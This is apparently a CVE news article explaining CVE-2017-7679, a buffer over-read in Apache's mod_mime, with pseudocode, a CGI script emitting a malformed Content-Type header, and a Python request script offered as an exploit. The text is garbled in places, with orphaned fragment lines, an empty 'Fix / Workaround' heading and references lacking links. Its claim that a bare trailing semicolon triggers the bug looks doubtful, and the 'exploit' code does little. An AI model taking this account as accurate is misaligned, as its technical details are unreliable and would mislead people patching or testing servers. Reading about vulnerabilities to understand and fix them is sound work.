CVE CyberSecurity Database News

CVE-2017-7679 - Buffer Over-Read in Apache mod_mime Explained (with Exploit Details and Code Example)

Poster -

Apache HTTP Server is one of the most popular web servers in the world. In 2017, a vulnerability was discovered—CVE-2017-7679—that affects the way Apache handles a special kind of HTTP header, opening up the possibility of security issues. In this article, I’ll break down what went wrong, show some code, discuss how the bug could be exploited, and share the best references for further reading.

What is CVE-2017-7679?

The issue lies in the Apache module called mod_mime. Normally, mod_mime examines the Content-Type headers set by web applications or configured by the web server, and tries to determine which content-type applies to a file or response.

Apache httpd 2.4.x before 2.4.26

If a similar malicious or crafted Content-Type header is sent by a backend or a CGI application, mod_mime can sometimes read one byte past the end of a memory buffer. This is what’s called a *buffer over-read*.

Cause unexpected behavior or subtle security issues

While in this case remote code execution wasn’t demonstrated, the bug still represents a risk, especially on systems where information leak is a concern.

How the Vulnerability Happens

It happens during header parsing. If the crafted Content-Type header ends with a special character like a semi-colon but doesn’t supply a value after it, the routine forgets to check the buffer length properly, resulting in an extra 1-byte read.

Scenario in Pseudocode

// Simplified logic in mod_mime (not actual code)
if (header ends with ";") {
    read next char as parameter value;
    // Problem: If ";" is the last char, the code reads past the end!
}

For example, this header

Content-Type: text/html;

With nothing after the semicolon, is enough to trigger the issue.

1. Malicious Header Example

Set up a server running a vulnerable Apache version and a CGI or backend script that sends this response header:

Content-Type: text/html;

2. Example Python Exploit Script

Here’s a minimal script using Python to send a request and receive the response (you’d need the vulnerable server and CGI endpoint):

import requests

url = 'http://vulnerable-apache.local/cgi-bin/test.cgi';
headers = {
    'Host': 'vulnerable-apache.local'
}

response = requests.get(url, headers=headers)
print("Response headers:\n", response.headers)
print("Response body:\n", response.text)

But the magic comes from your backend server—write a CGI script or configure your backend to return the malicious header:

test.cgi

#!/usr/bin/env python
print("Content-Type: text/html;")
print()
print("<html><body>POC for CVE-2017-7679</body></html>")

Make sure to mark the script as executable and reachable by Apache.

When Apache processes this response (because of the trailing ; in the Content-Type), it processes it with the over-read.

Check your server’s version

apache2 -v

If you see a version below 2.2.33 (for 2.2.x) or below 2.4.26 (for 2.4.x), you are vulnerable.

### Fix / Workaround

References

- CVE Details - CVE-2017-7679
- Apache Security Advisory
- Red Hat Security Advisory
- Debian Security Tracker
- Original Patch

Summary

CVE-2017-7679 is a classic example of how tiny parsing mistakes can have big impacts. The bug lets attackers make Apache read past memory boundaries by sending a malformed Content-Type header ending with a semicolon. Although this bug *only* causes a one-byte over-read, such memory errors are never trivial in security.

If you maintain any older Apache setups, now is the time to patch and protect yourself against issues like this!

Timeline

Published on: 06/20/2017 01:29:00 UTC
Last modified on: 06/06/2021 11:15:00 UTC